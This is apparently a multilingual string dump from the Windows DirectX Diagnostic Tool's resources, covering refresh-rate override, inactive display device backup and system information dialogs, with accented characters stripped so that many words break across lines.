Virkistystaajuus
&Oletus
&Korvausarvo:
Varoitus: Vain kokeneiden k
jien tulisi muuttaa n
asetuksia.
DirectDraw'n oletusarvoa valitsemalla Oletus tai kirjoita haluamasi virkistystaajuus Korvausarvo-ruutuun.
quence de rafra
chissement DirectDraw
MS Shell Dlg
Annuler
quence de rafra
chissement
&Par d
&Remplacer par la valeur
Attention
: ne modifiez ces param
tres que si vous
tes un utilisateur exp
riment
Cliquez sur "Par d
faut" pour utiliser la fr
quence par d
faut de DirectDraw, ou cliquez sur "Remplacer par la valeur" et entrez une fr
quence de rafra
chissement dans la zone de texte.
DirectDraw
MS Shell Dlg
DirectDraw,
A DirectDraw friss
si viselked
nek fel
MS Shell Dlg
Az &alap
rtelmezett
k haszn
k &fel
Figyelmeztet
s: Ezeket a be
sokat csak gyakorlott felhaszn
A DirectDraw alap
rtelmezett viselked
nek haszn
hoz jel
lje be az "Az alap
rtelmezett
k haszn
lata" lehet
get, vagy "Az
sa" bejel
n megadhatja, hogy milyen friss
ket szeretne haszn
Sostituzione frequenza aggiornamento DirectDraw
MS Shell Dlg
Annulla
Frequenza di aggiornamento
Impostazioni &predefinite
&Sostituisci con:
Avviso: queste impostazioni dovrebbero essere modificate solo da utenti esperti.
Scegliere "Impostazioni predefinite" per utilizzare le impostazioni predefinite di DirectDraw oppure scegliere "Sostituisci con" e immettere nella casella di modifica la nuova frequenza di aggiornamento da impostare.
DirectDraw
MS UI Gothic
DirectDraw
DirectDraw
DirectDraw
DirectDraw-vernieuwingsgedrag wijzigen
MS Shell Dlg
Annuleren
Vernieuwingsfrequentie
&Standaard
Andere &waarde:
Waarschuwing: deze instellingen dienen alleen door ervaren gebruikers te worden gewijzigd.
Kies Standaard als u voor het standaardgedrag van DirectDraw kiest. Kies anders Andere waarde en geef de vernieuwingsfrequentie die u wilt gebruiken in het invoervak op.
Overstyr DirectDraw-oppdateringsoppf
MS Shell Dlg
Avbryt
Oppdateringsfrekvens
&Standard
&Overstyringsverdi:
Advarsel! Bare avanserte brukere b
r endre disse innstillingene.
Klikk Standard for
bruke standardoppf
rselen i DirectDraw, eller Klikk Overstyringsverdi og angi oppdateringsfrekvensen du vil tvinge i redigeringsboksen.
Zmienianie zachowania funkcji od
ania DirectDraw
MS Shell Dlg
Anuluj
stotliwo
&Warto
Ostrze
enie: te ustawienia powinni zmienia
tylko zaawansowani u
ytkownicy.
Kliknij opcj
, aby u
lnego zachowania programu DirectDraw, lub kliknij opcj
i wpisz
stotliwo
ania w polu edycyjnym.
Substituir comportamento de atualiza
o do DirectDraw
MS Shell Dlg
Cancelar
Taxa de atualiza
&Substituir valor:
Aviso: somente usu
rios avan
ados devem alterar estas configura
Clique em 'Padr
o' para usar o comportamento padr
o do DirectDraw ou clique em 'Substituir valor' e digite a taxa de atualiza
o que voc
deseja for
ar na caixa de edi
DirectDraw
MS Shell Dlg
DirectDraw
tt uppdateringsf
rfarande f
r DirectDraw
MS Shell Dlg
Avbryt
Uppdateringsintervall
&Standard
&Eget v
Varning! Endast avancerade anv
ndare b
ndra dessa inst
llningar.
Klicka p
Standard om du vill anv
nda standardv
rden f
r DirectDraw. Klicka p
Eget v
rde och ange uppdateringsintervall om du inte vill anv
nda standardv
DirectDraw Yenileme Davran
ersiz K
MS Shell Dlg
Yenileme H
&Varsay
ersiz K
lma De
: Bu ayarlar
zca ileri d
zey kullan
lar de
tirmeli.
DirectDraw'un varsay
lan davran
kullanmak i
in "Varsay
n ya da "Ge
ersiz K
lma De
eri"ni t
p zorlamak istedi
iniz yenileme oran
zenleme kutusuna yaz
DirectDraw
DirectDraw
Alterar comportamento de actualiza
o do DirectDraw
MS Shell Dlg
Cancelar
ncia de actualiza
&Predefini
&Valor diferente:
Aviso: Apenas utilizadores experientes devem alterar estas defini
Clique em "Predefini
o" para utilizar o comportamento predefinido do DirectDraw, ou clique em "Valor diferente" e escreva a frequ
ncia de actualiza
o que pretende for
ar na caixa de edi
Suplantar comportamiento de actualizaci
n de DirectDraw
MS Shell Dlg
Aceptar
Cancelar
Frecuencia de actualizaci
Valor &predeterminado
&Reemplazar valor:
Advertencia: s
lo los usuarios expertos deben cambiar esta configuraci
Haga clic en Valor predeterminado para usar el comportamiento predeterminado de DirectDraw, o bien haga clic en Reemplazar valor y escriba la frecuencia de actualizaci
n deseada en el cuadro de di
MS Shell Dlg
(&B) >>
Nastaven
neaktivn
ch zobrazovac
MS Shell Dlg
e uveden
zobrazovac
jsou pova
na za neaktivn
padech mohou informace v registru o takov
sobovat probl
V seznamu Neaktivn
ete vybrat po
adovan
a klepnut
m na tla
lohovat p
esunout informace registru do z
V seznamu Z
lohovan
neaktivn
ete vybrat po
adovan
a klepnut
m na tla
tko Obnovit p
esunout informace registru zp
t do p
Upozorn
: Tento n
stroj by m
ivatel
vat s pomoc
pracovn
ka odborn
pomoci k produktu. V opa
je mo
m tohoto n
stroje zp
probl
innosti syst
Neaktivn
lohovan
neaktivn
lo&hovat >>
<< &Obnovit
Juster inaktive sk
rmenheder
MS Shell Dlg
Nedenst
ende liste viser sk
rmenheder, der menes at v
re inaktive. I nogle tilf
lde kan deres tilstedev
relse i systemets registreringsdatabase medf
re problemer.
Du kan v
lge enheder p
listen "Inaktive enheder" og klikke p
"Sikkerhedskopi" for at flytte oplysningerne om enhederne i registreringsdatabasen til en placering for sikkerhedskopien.
Du kan v
lge enheder p
listen "Sikkerhedskopierede inaktive enheder" og klikke p
"Gendan" for at flytte oplysningerne om dem i registreringsdatabasen tilbage til den oprindelige placering.
Advarsel! Brug af dette v
j, uden hj
lp fra en produktsupportekspert, kan f
re til alvorlige systemproblemer.
Inaktive enheder
Sikkerhedskopierede inaktive enheder
&Sikkerhedskopi >>
<< &Gendan
Inaktive Anzeigeger
te anpassen
MS Shell Dlg
Die folgenden Anzeigeger
te gelten als inaktiv. In manchen F
llen kann deren Gegenwart in der Systemregistrierung Probleme verursachen.
nnen Ger
te aus der Liste "Inaktive Ger
te" ausw
hlen und auf "Sicherungskopie" klicken, um von deren Registrierungsinformationen eine Sicherungskopie zu erstellen.
nnen Ger
te aus der Liste "Sicherungskopien von inaktiven Ger
ten" ausw
hlen und auf "Wiederherstellen" klicken, um deren Registrierungsinformationen wieder an die urspr
ngliche Stelle zu verschieben.
Warnung: Die Verwendung dieses Programms ohne Unterst
tzung eines Produktsupportexperten kann zu schwerwiegenden Systemproblemen f
Inaktive Ger
Sicherungskopien der inaktiven Ger
Sicherungs&kopie >
< &Wiederherstellen
&Schlie
MS Shell Dlg
Adjust Inactive Display Devices
MS Shell Dlg
The display devices listed below are believed to be inactive. In some cases, their presence in the system registry can cause problems.
You can select devices from the "Inactive Devices" list and click "Backup" to move their registry information to a backup location.
You can select devices in the "Backed-up Inactive Devices" list and click "Restore" to move their registry information back to the original location.
Warning: Using this tool without guidance from a product support expert could cause serious system problems.
Inactive Devices
Backed-up Inactive Devices
&Backup >>
<< &Restore
&Close
passiivisia n
laitteita
MS Shell Dlg
Alla luetellut n
laitteet eiv
ole k
. Joissakin tapauksissa niiden tiedot j
rjestelm
rekisteriss
voivat aiheuttaa ongelmia.
Voit valita laitteita Passiiviset laitteet -luettelosta ja siirt
niiden rekisteritiedot varmuuskopiointipaikkaan valitsemalla Varmuuskopioi.
Voit valita laitteita Varmuuskopioidut passiiviset laitteet -luettelosta ja siirt
niiden rekisteritiedot takaisin alkuper
iseen paikkaan valitsemalla Palauta.
Varoitus: T
kalun k
minen ilman tuotetukihenkil
n apua voi johtaa vakaviin j
rjestelm
ongelmiin.
Passiiviset laitteet
Varmuuskopioidut passiiviset laitteet
&Varmuuskopioi >>
<< &Palauta
&Sulje
Ajuster les p
riques d'affichage inactifs
MS Shell Dlg
riques d'affichage r
pertori
s ci-dessous semblent inactifs. Dans certains cas, leur pr
sence dans le registre syst
me peut provoquer des probl
Vous pouvez s
lectionner des p
riques dans la liste
riques inactifs
et cliquer sur Sauvegarder pour d
placer les informations de registre correspondantes vers un emplacement de sauvegarde.
Vous pouvez s
lectionner des p
riques dans la liste P
riques inactifs sauvegard
s et cliquer sur Restaurer pour restaurer les informations de registre correspondantes
leur emplacement d'origine.
Avertissement
: l'utilisation de cet outil sans l'aide d'un expert du Support technique peut provoquer de graves probl
mes de dysfonctionnement sur le syst
riques inactifs
riques inactifs sauvegard
&Sauvegarder >>
<< &Restaurer
&Fermer
MS Shell Dlg
v megjelen
MS Shell Dlg
bb felsorolt megjelen
k inakt
vnak t
nnek. Az inakt
v eszk
k jelenl
te a rendszerle
adatb
zisban n
ny esetben hib
t okozhat.
Ha az "Inakt
v eszk
k" list
ban tal
valamelyik eszk
z rendszerle
adatait egy biztons
solatba szeretn
thelyezni, jel
lje ki a k
nt eszk
zt, majd kattintson a "Biztons
solat" gombra.
Ha a "Mentett inakt
v eszk
k" list
ban tal
valamelyik eszk
z rendszerle
adatait vissza szeretn
tenni eredeti hely
re, jel
lje ki a k
nt eszk
zt, majd kattintson a "Vissza
s" gombra.
Figyelmeztet
s: Ha ezt a be
st term
si szakember
tmutat
l haszn
lja, s
lyosan k
thatja a rendszert.
v eszk
Mentett inakt
v eszk
Bi&ztons
solat >>
<< &Vissza
Regolazione periferiche video inattive
MS Shell Dlg
Le periferiche elencate di seguito sono state rilevate come inattive. La loro presenza nel Registro di sistema potrebbe causare problemi.
possibile selezionare le periferiche dall'elenco Periferiche inattive e fare clic su Backup per trasferirne le informazioni del Registro di sistema in una posizione di backup.
possibile selezionare le periferiche dall'elenco Periferiche inattive con backup e fare clic su Ripristina per trasferirne le informazioni del Registro di sistema alla posizione originale.
Attenzione: l'utilizzo di questo strumento senza la supervisione di un tecnico esperto del prodotto potrebbe causare gravi danni al sistema.
Periferiche inattive
Periferiche inattive con backup
&Backup >>
<< &Ripristina
C&hiudi
MS UI Gothic
(&B) >>
(&B) >>
<< (&R)
Niet-actieve weergaveapparaten aanpassen
MS Shell Dlg
De onderstaande weergaveapparaten zijn waarschijnlijk niet actief. In sommige gevallen kan de aanwezigheid van deze apparaten in het systeemregister problemen veroorzaken.
U kunt apparaten in de lijst Niet-actieve apparaten selecteren en op Back-up klikken om de registergegevens van deze apparaten naar een locatie voor reservekopie
n te verplaatsen.
U kunt apparaten selecteren in de lijst met back-ups van niet-actieve apparaten en op Terugzetten klikken om de registergegevens van deze apparaten op de oorspronkelijke locatie terug te zetten.
Waarschuwing: als dit hulpprogramma zonder de hulp van een productondersteuningsexpert wordt gebruikt, kunnen er zich ernstige systeemproblemen voordoen.
Niet-actieve apparaten
Back-ups van niet-actieve apparaten
&Back-up >>
<< &Terugzetten
&Sluiten
Juster inaktive skjermenheter
MS Shell Dlg
Skjermenhetene nedenfor er antakelig inaktive. I enkelte tilfeller kan det skape problemer at de befinner seg i systemregistret.
Du kan merke enheter i listen Inaktive enheter, og klikke Sikkerhetskopier hvis du vil flytte registerinformasjonen om dem til en sikkerhetskopi.
Du kan merke enheter i listen Inaktive enheter med sikkerhetskopi, og klikke Gjenopprett hvis du vil flytte registerinformasjonen om dem tilbake til den opprinnelige plasseringen.
Advarsel! Hvis du bruker dette verkt
yet uten veiledning fra en ekspert p
kundest
tte, kan du f
alvorlige problemer med systemet.
Inaktive enheter
Inaktive enheter med sikkerhetskopi
&Sikkerhetskopier >>
<< &Gjenopprett
Ustawianie nieaktywnych urz
wietlaj
MS Shell Dlg
dzenia wy
wietlaj
ce wymienione poni
uznane za nieaktywne. Niekiedy ich obecno
w rejestrze systemowym mo
e powodowa
problemy.
na wybra
dzenia z listy
dzenia nieaktywne
i klikn
przycisk
Kopia zapasowa
, aby przenie
dotycz
ce ich informacje rejestru do lokalizacji kopii zapasowej.
na wybra
dzenia z listy
Kopie zapasowe urz
nieaktywnych
i klikn
przycisk
Przywr
, aby przenie
z powrotem dotycz
ce ich informacje rejestru do oryginalnej lokalizacji.
Ostrze
enie: U
ywanie tego narz
dzia bez pomocy eksperta pomocy technicznej mo
e spowodowa
ne problemy w dzia
aniu systemu.
dzenia nieaktywne
Kopie zapasowe urz
nieaktywnych
&Kopia zapasowa >>
<< &Przywr
&Zamknij
Ajustar dispositivos de v
deo inativos
MS Shell Dlg
Os dispositivos de v
deo listados abaixo est
o, provavelmente, inativos. Em alguns casos, a perman
ncia deles no Registro do sistema pode causar problemas.
Selecione dispositivos na lista 'Dispositivos inativos' e clique em 'Backup' para mover as informa
es do Registro para um local de backup.
Selecione dispositivos na lista 'Dispositivos inativos com c
pia de backup' e clique em 'Restaurar' para devolver as informa
es de registro ao local original.
Aviso: a utiliza
o desta ferramenta sem a orienta
o de um t
cnico de suporte ao produto pode causar problemas s
rios ao sistema.
Dispositivos inativos
Dispositivos inativos com c
pia de backup
&Backup >>
<< &Restaurar
&Fechar
MS Shell Dlg
Justera inaktiva bildsk
rmsenheter
MS Shell Dlg
Bildsk
rmsenheterna i listan nedan antas vara inaktiva. I vissa fall kan deras f
rekomst i systemregistret orsaka problem.
Du kan markera enheter i listan "Inaktiva enheter" och sedan klicka p
kerhetskopiera" om du vill flytta deras registerinformation till en plats d
r du f
rvarar s
kerhetskopior.
Du kan markera enheter i listan "S
kerhetskopierade inaktiva enheter" och sedan klicka p
ll" om du vill flytta deras registerinformation tillbaka till den tidigare platsen.
Varning! Om du anv
nder det h
r verktyget utan handledning fr
n en erfaren supporttekniker kan det orsaka allvarliga skador i systemet.
Inaktiva enheter
kerhetskopierade inaktiva enheter
kerhetskopiera >>
Etkin Olmayan G
Ayarlay
MS Shell Dlg
da listelenen g
n etkin olmad
yor. Baz
durumlarda, bunlar
n sistem kayd
nda bulunmas
sorunlara neden olabilir.
"Etkin Olmayan Ayg
tlar" listesinden ayg
ip bunlarla ilgili kay
t bilgilerini yedekleme konumuna ta
in "Yedekle" se
"Yedeklenen Etkin Olmayan Ayg
tlar" listesinden ayg
ip bunlarla ilgili kay
t bilgilerini
n yerlerine ta
in "Geri Y
kle" se
: Bu arac
, bir
n deste
i uzman
lavuzlu
u olmadan kullanmak
nemli sorunlara neden olabilir.
Etkin Olmayan Ayg
Yedeklenen Etkin Olmayan Ayg
&Yedekle >>
<< &Geri Y
K&apat
(&B) >>
Ajustar dispositivos de visualiza
o inactivos
MS Shell Dlg
Os dispositivos de visualiza
o listados em baixo s
o considerados como estando inactivos. Em alguns casos, a sua presen
a no registo do sistema pode causar problemas.
Pode seleccionar dispositivos na lista "Dispositivos inactivos" e clicar em "Copiar" para mover as respectivas informa
es de registo para uma localiza
o de c
pia de seguran
Pode seleccionar dispositivos na lista "Dispositivos inactivos com c
pia" e clicar em "Restaurar" para mover as respectivas informa
es de registo novamente para a localiza
o original.
Aviso: A utiliza
o desta ferramenta sem orienta
o por parte de um t
cnico poder
causar problemas graves no sistema.
Dispositivos inactivos
Dispositivos inactivos com c
&Copiar >>
<< &Restaurar
&Fechar
Ajustar dispositivos de pantalla inactivos
MS Shell Dlg
Se cree que los dispositivos de v
deo mostrados a continuaci
n inactivos. En algunos casos su presencia en el Registro del sistema puede causar problemas.
Puede seleccionar dispositivos de la lista "Dispositivos inactivos" y hacer clic en "Copiar" si desea mover la informaci
n de Registro de los mismos a una ubicaci
n de copia de seguridad.
Puede seleccionar dispositivos de la lista "Dispositivos con copia de seguridad" y hacer clic en "Restaurar" si desea que la informaci
n de Registro de los mismos se muestre en la ubicaci
n original.
Advertencia: el uso de esta herramienta sin instrucciones de un experto en soporte t
cnico puede producir graves problemas en el sistema.
Dispositivos inactivos
Dispositivos inactivos con copia
C&opiar >>
<< &Restaurar
&Cerrar
MS Shell Dlg
msctls_progress32
Progress1
msctls_progress32
Progress1
informac
MS Shell Dlg
Storno
msctls_progress32
Progress1
Indsamler oplysninger...
MS Shell Dlg
Annuller
msctls_progress32
Progress1
Informationen werden gesammelt...
MS Shell Dlg
Abbrechen
msctls_progress32
Progress1
MS Shell Dlg
msctls_progress32
Collecting information...
MS Shell Dlg
Cancel
msctls_progress32
Progress1
Tietoja ker
MS Shell Dlg
Peruuta
msctls_progress32
Progress1
Collecte des informations...
MS Shell Dlg
Annuler
msctls_progress32
Progress1
MS Shell Dlg
msctls_progress32
Progress1
Inform
MS Shell Dlg
msctls_progress32
Progress1
Raccolta informazioni
MS Shell Dlg
Annulla
msctls_progress32
Progress1
MS UI Gothic
msctls_progress32
Progress1
msctls_progress32
Progress1
Informatie verzamelen...
MS Shell Dlg
Annuleren
msctls_progress32
Progress1
Samler inn informasjon...
MS Shell Dlg
Avbryt
msctls_progress32
Progress1
Zbieranie informacji...
MS Shell Dlg
Anuluj
msctls_progress32
Progress1
Coletando informa
MS Shell Dlg
Cancelar
msctls_progress32
Progress1
MS Shell Dlg
msctls_progress32
Progress1
Information samlas in...
MS Shell Dlg
Avbryt
msctls_progress32
Progress1
Bilgi toplan
yor...
MS Shell Dlg
msctls_progress32
Progress1
msctls_progress32
Progress1
A recolher informa
MS Shell Dlg
Cancelar
msctls_progress32
Progress1
Obteniendo informaci
MS Shell Dlg
Cancelar
msctls_progress32
Progress1
DirectX
MS Shell Dlg
SysTabControl32
DirectX
(&S)...
SysTabControl32
stroj pro diagnostiku rozhran
DirectX
MS Shell Dlg
echny informace...
&Konec
SysTabControl32
Diagnosticeringsv
j til DirectX
MS Shell Dlg
ste side
&Gem alle oplysninger...
&Afslut
SysTabControl32
DirectX-Diagnoseprogramm
MS Shell Dlg
chste Seite
Alle &Informationen speichern...
&Beenden
&Hilfe
SysTabControl32
DirectX
MS Shell Dlg
SysTabControl32
DirectX Diagnostic Tool
MS Shell Dlg
&Next Page
&Save All Information...
SysTabControl32
DirectX-diagnostiikkaty
MS Shell Dlg
&Seuraava sivu
Ta&llenna kaikki tiedot...
S&ulje
SysTabControl32
Outil de diagnostic DirectX
MS Shell Dlg
Page &suivante
&Enregistrer toutes les informations...
&Quitter
SysTabControl32
DirectX
MS Shell Dlg
SysTabControl32
DirectX diagnosztikai eszk
MS Shell Dlg
&vetkez
oldal
&Minden adat ment
SysTabControl32
Strumento di diagnostica DirectX
MS Shell Dlg
S&uccessiva
&Salva tutte le informazioni...
SysTabControl32
DirectX
MS UI Gothic
(&S)...
SysTabControl32
DirectX
(&S)...
SysTabControl32
Diagnostisch hulpprogramma voor DirectX
MS Shell Dlg
&Volgende pagina
Alle gegevens &opslaan...
&Afsluiten
SysTabControl32
DirectX-diagnoseverkt
MS Shell Dlg
&Neste side
&Lagre all informasjon...
&Avslutt
&Hjelp
SysTabControl32
dzie diagnostyczne DirectX
MS Shell Dlg
pna strona
Z&apisz wszystkie informacje...
&Pomoc
SysTabControl32
Ferramenta de diagn
stico do DirectX
MS Shell Dlg
xima p
Sal&var todas as informa
&Ajuda
SysTabControl32
DirectX
MS Shell Dlg
SysTabControl32
Diagnostikverktyg f
r DirectX
MS Shell Dlg
sta sida
&Spara all information...
&Avsluta
SysTabControl32
DirectX Tan
MS Shell Dlg
S&onraki Sayfa
m Bilgileri Kaydet...
SysTabControl32
DirectX
(&S)...
SysTabControl32
Ferramenta de diagn
stico do DirectX
MS Shell Dlg
gina &seguinte
&Guardar todas as informa
Aj&uda
SysTabControl32
Herramienta de diagn
stico de DirectX
MS Shell Dlg
g. sig.
&Guardar la informaci
&Salir
Ay&uda
SysTabControl32
MS Shell Dlg
DirectX
DirectX:
Static
msctls_progress32
Progress1
Windows
(WHQL)
DirectX
DirectX
Static
msctls_progress32
Progress1
WHQL
MS Shell Dlg
stroj pod
podrobn
informace o instalovan
ch sou
stech a ovlada
ch rozhran
DirectX. Umo
uje testovat funk
nost, diagnostikovat probl
my a m
nit syst
movou konfiguraci pro zv
konnosti.
te-li, kter
oblast zp
sobuje probl
my, klepn
te na p
nou kartu. V opa
klepn
te na tla
tko Dal
nka a projd
te postupn
echny str
nka Dal
da obsahuje seznam dal
, kter
mohou pomoci vy
it zji
probl
informace
datum a
zev po
Jazyk:
Procesor:
nkovac
soubor:
Verze rozhran
DirectX:
Static
msctls_progress32
Progress1
Zkontrolovat digit
podpisy WHQL
MS Shell Dlg
Dette v
j giver detaljerede oplysninger om DirectX-komponenter og -drivere, som er installeret p
computeren. V
jet lader dig teste funktionalitet, diagnosticere problemer og
ndre systemkonfigurationen, s
den virker bedst.
Hvis du ved, hvilket omr
de, der er skyld i problemet, skal du klikke p
den tilsvarende fane ovenfor. Ellers kan du bruge knappen N
ste side nedenfor for at se hver side i r
Siden "Mere hj
lp" viser nogle andre v
jer, som du m
ske kan bruge til at l
se de aktuelle problemer.
Systemoplysninger
Dags dato/aktuelt klokkesl
Computernavn:
Operativsystem:
Sprog:
Processor:
Hukommelse:
Sidefil:
DirectX-version:
Static
msctls_progress32
Progress1
Kontroller for WHQL digitale signaturer
MS Shell Dlg
Dieses Hilfsprogramm gibt Ihnen detaillierte Informationen
ber die DirectX-Komponenten und -Treiber dieses Computers. Mit diesem Programm k
nnen Sie die Funktionalit
t testen, Probleme identifizieren und den Computer optimal konfigurieren.
hlen Sie die entsprechende Registerkarte oben, wenn Sie den Bereich des Problems bereits kennen. Klicken Sie andernfalls auf "N
chste Seite", um alle Seiten nacheinander zu durchsuchen.
Die Seite "Weitere Hilfe" bietet weitere Hilfsprogramme, mit denen Sie das Problem beheben k
Systeminformationen
Aktuelles Datum/Zeit:
Computername:
Betriebssystem:
Sprache:
Prozessor:
Arbeitsspeicher:
Auslagerungsdatei:
DirectX-Version:
Static
msctls_progress32
Progress1
Auf digitale WHQL-Signaturen
MS Shell Dlg
DirectX
DirectX:
Static
msctls_progress32
Progress1
MS Shell Dlg
This tool reports detailed information about the DirectX components and drivers installed on your system. It lets you test functionality, diagnose problems, and change your system configuration to work best.
If you know what area is causing the problem, click the appropriate tab above. Otherwise, you can use the "Next Page" button below to visit each page in sequence.
The "More Help" page lists some other tools that may help with the problem you are experiencing.
System Information
Current Date/Time:
Computer Name:
Operating System:
Language:
Processor:
Memory:
Page file:
DirectX Version:
Static
msctls_progress32
Progress1
Check for WHQL digital signatures
MS Shell Dlg
kalu raportoi j
rjestelm
n asennettujen DirextX-osien ja -ohjaimien tiedot. Voit testata toiminnallisuutta, diagnosoida ongelmia ja muuttaa j
rjestelm
n kokoonpanoa n
iden tietojen mukaan.
Jos tied
t, mik
alue aiheuttaa ongelmia, napsauta kyseisen alueen v
lilehte
. Muussa tapauksessa voit k
kaikki alueet l
pi valitsemalla Seuraava sivu.
ohjeita-sivulla on lueteltu ty
kaluja, jotka voivat auttaa ongelmien ratkaisemisessa.
rjestelm
tiedot
Nykyinen p
/ aika:
Tietokoneen nimi:
rjestelm
Kieli:
Suoritin:
Muisti:
Sivutustiedosto:
DirectX-versio:
Static
msctls_progress32
Progress1
Etsi WHQL:n digitaalisia allekirjoituksia
MS Shell Dlg
Cet outil vous permet d'obtenir des informations d
es sur les composants et pilotes DirectX install
s sur votre syst
me. Il vous permet de tester les fonctionnalit
s, diagnostiquer les probl
mes et modifier votre configuration syst
me afin que celle-ci soit optimale.
Si vous connaissez l'origine de ce probl
me, cliquez sur l'onglet appropri
. Sinon, cliquez sur le bouton "Page suivante" ci-dessous pour afficher chaque page l'une apr
s l'autre.
La page "Aide suppl
mentaire" indique d'autres outils qui peuvent vous aider
soudre ce probl
Informations syst
Date/heure du jour
Nom de l'ordinateur
me d'exploitation
Langue
Processeur
Fichier de pagination
Version DirectX
Static
msctls_progress32
Progress1
Rechercher les signatures num
riques WHQL
MS Shell Dlg
DirectX
DirectX:
Static
msctls_progress32
Progress1
MS Shell Dlg
Ez az eszk
szletes jelent
st ad a rendszeren tal
DirectX
sszetev
s illeszt
programokr
l. Lehet
teszi a szolg
sok kipr
t, az esetleges probl
k megkeres
s a rendszerkonfigur
t a jobb m
Ha tudja, hogy melyik ter
let okozza a probl
t, akkor kattintson a fent l
l a megfelel
re. Ellenkez
esetben a "K
vetkez
oldal" gombot megnyomva egyes
vel megn
zheti az
sszes lapot.
A "Tov
" lapon olyan eszk
ket tal
l, amelyek esetleg seg
thetnek a probl
ma megold
Rendszerinform
tum/id
s rendszer:
Nyelv:
Processzor:
DirectX-verzi
Static
msctls_progress32
Progress1
WHQL digit
lis al
sainak ellen
MS Shell Dlg
Questo strumento consente di ottenere informazioni dettagliate sui componenti e i driver DirectX installati nel sistema. Grazie ad esso
inoltre possibile testare il funzionamento, diagnosticare i problemi e modificare la configurazione del sistema per ottimizzare le prestazioni.
stata individuata la causa del problema, fare clic sulla scheda appropriata. In caso contrario, utilizzare il pulsante Successiva per visualizzare l'intera sequenza delle schede.
La scheda Altri argomenti contiene un elenco di altri strumenti utili per risolvere il problema.
Informazioni di sistema
Data/Ora corrente:
Nome computer:
Sistema operativo:
Lingua:
Processore:
Memoria:
File di paging:
Versione DirectX:
Static
msctls_progress32
Progress1
Controlla firme digitali WHQL
MS UI Gothic
DirectX
DirectX
Static
msctls_progress32
Progress1
DirectX
DirectX
Static
msctls_progress32
Progress1
MS Shell Dlg
Dit hulpprogramma geeft gedetailleerde gegevens over de op het systeem ge
nstalleerde DirectX-onderdelen en stuurprogramma's. U kunt met dit programma de functionaliteit testen, problemen onderzoeken en de systeemconfiguratie optimaliseren.
Als u weet welk gebied het probleem veroorzaakt, kunt u hierboven op het desbetreffende tabblad klikken. Klik anders op de knop Volgende pagina om elke pagina te bekijken.
Op de pagina Meer Help vindt u enkele andere hulpprogramma's die misschien kunnen helpen bij het oplossen van het probleem.
Systeeminfo
Huidige datum/tijd:
Computernaam:
Besturingssysteem:
Processor:
Geheugen:
Wisselbestand:
DirectX-versie:
Static
msctls_progress32
Progress1
Controleren op digitale handtekeningen van WHQL
MS Shell Dlg
Dette verkt
yet rapporterer detaljert informasjon om installerte DirectX-komponenter og -drivere p
systemet. Du kan teste funksjonalitet, unders
ke problemer, og endre systemkonfigurasjonen s
den blir optimal.
Hvis du vet hvilket omr
de som skaper problemet, velger du den aktuelle kategorien ovenfor. Hvis ikke, kan du bruke knappen Neste side nedenfor for
ke alle sidene sekvensielt.
Siden Mer hjelp viser en liste over noen andre verkt
y som kan l
se problemet som har oppst
Systeminformasjon
Gjeldende dato/klokkeslett:
Datamaskinnavn:
Operativsystem:
Prosessor:
Minne:
Sidevekslingsfil:
DirectX-versjon:
Static
msctls_progress32
Progress1
Kontroller WHQL-signaturer
MS Shell Dlg
To narz
dzie tworzy raporty zawieraj
ce szczeg
owe informacje na temat sk
w programu DirectX i sterownik
w zainstalowanych w systemie. Pozwala ono na testowanie funkcjonalno
ci, diagnozowanie problem
w i zmienianie konfiguracji systemu, tak aby dzia
on jak najlepiej.
eli wiesz, co powoduje problem, kliknij odpowiedni
ej. Je
eli nie, mo
esz klikn
przycisk
pna strona
ej, aby po kolei przej
do ka
dej strony.
Strona
cej pomocy
zawiera list
innych narz
dzi, kt
re mog
c w rozwi
zaniu napotkanego problemu.
Informacje o systemie
ca data/godzina:
Nazwa komputera:
System operacyjny:
Procesor:
Plik stronicowania:
Wersja programu DirectX:
Static
msctls_progress32
Progress1
Sprawd
, czy s
cyfrowe podpisy WHQL
MS Shell Dlg
Esta ferramenta fornece informa
es detalhadas sobre os componentes e drivers do DirectX instalados no sistema. Ela permite que voc
teste a funcionalidade, diagnostique problemas e altere a configura
o do sistema para que ele funcione melhor.
Se voc
souber que
rea est
causando o problema, clique na guia adequada acima. Caso contr
rio, voc
pode usar o bot
xima p
gina' abaixo para visitar cada p
gina em seq
gina 'Mais ajuda' lista outras ferramentas que podem ajud
-lo a resolver o seu problema.
Informa
es do sistema
Data/hora atual:
Nome do computador:
Sistema operacional:
Idioma:
Processador:
Arquivo de pagina
o do DirectX:
Static
msctls_progress32
Progress1
Verificar assinaturas digitais do WHQL
MS Shell Dlg
DirectX.
DirectX:
Static
msctls_progress32
Progress1
MS Shell Dlg
Detta verktyg rapporterar detaljerad information om komponenter och drivrutiner f
r DirectX som
r installerade p
systemet. Du kan testa funktionalitet, diagnostisera problem och anpassa systemkonfigurationen.
Om du vet inom vilket omr
de felet finns, kan du klicka p
motsvarande flik ovan. Annars kan du bl
ddra dig fram med hj
lp av knappen N
sta sida.
sidan Ytterligare hj
s ytterligare verktyg som kan hj
lpa dig l
sa problemen.
Systeminformation
Aktuellt datum/tid:
Datornamn:
Operativsystem:
Processor:
Minne:
xlingsfil:
DirectX-version:
Static
msctls_progress32
Progress1
Kontrollera digitala WHQL-signaturer
MS Shell Dlg
Bu ara
, sisteminizde y
DirectX bile
enleri ve s
leri hakk
nda detayl
bilgi raporlar.
levselli
, sorunlar
en iyi
ekilde
in sistem yap
tirmenizi sa
Hangi alan
n soruna neden oldu
unu biliyorsan
z, yukar
da uygun sekmeyi t
n. Aksi halde, s
rayla her sayfaya gitmek i
daki "Sonraki Sayfa" d
mesini kullanabilirsiniz.
"Daha Fazla Yard
m" sayfas
z sorunla ilgili yard
olabilecek di
er baz
listeler.
Sistem Bilgisi
erli Tarih/Saat:
Bilgisayar Ad
letim Sistemi:
lemci:
Bellek:
Disk belle
i dosyas
DirectX S
Static
msctls_progress32
Progress1
WHQL dijital imzalar
denetle
DirectX
DirectX
Static
msctls_progress32
Progress1
WHQL
MS Shell Dlg
Esta ferramenta fornece informa
es detalhadas sobre os componentes do DirectX e sobre os controladores instalados no sistema. Permite testar a funcionalidade, diagnosticar problemas e alterar a configura
o do sistema para melhorar o funcionamento.
Se souber qual a
rea que est
a causar o problema, clique no separador apropriado acima. Caso contr
rio, pode utilizar o bot
gina seguinte" abaixo para visitar cada p
gina em sequ
gina "Mais ajuda" lista algumas outras ferramentas que podem ajudar no problema que est
a ocorrer.
Informa
es de sistema
Hora/data actual:
Nome do computador:
Sistema operativo:
Idioma:
Processador:
Ficheiro de pagina
o do DirectX:
Static
msctls_progress32
Progress1
Procurar assinaturas digitais WHQL
MS Shell Dlg
